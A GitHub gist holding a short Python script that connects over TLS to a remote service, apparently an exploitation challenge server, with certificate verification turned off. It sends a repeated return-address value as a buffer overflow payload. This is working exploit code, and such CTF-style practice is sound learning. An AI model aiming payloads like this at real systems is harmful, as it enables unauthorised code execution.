Last active
November 12, 2024 19:53
-
-
Save szabolcsdombi/aa8457f7ddc46df636890de601ed4de9 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import sys | |
import struct | |
import socket | |
import ssl | |
index = int(sys.argv[1]) if len(sys.argv) > 1 else 0 | |
host = "keys.lowlevel.tv" | |
port = 4444 | |
certfile = "app/downloads/szabolcsdombi.key" | |
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) | |
context.check_hostname = False | |
context.verify_mode = ssl.CERT_NONE | |
context.load_cert_chain(certfile) | |
with socket.create_connection((host, port)) as sock: | |
with context.wrap_socket(sock, server_hostname=host) as ssock: | |
print(f"Connected to {host} on port {port}") | |
print(ssock.recv(4096)) | |
ssock.sendall(struct.pack('I', 0x080499f5) * 30) | |
print(ssock.recv(4096)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment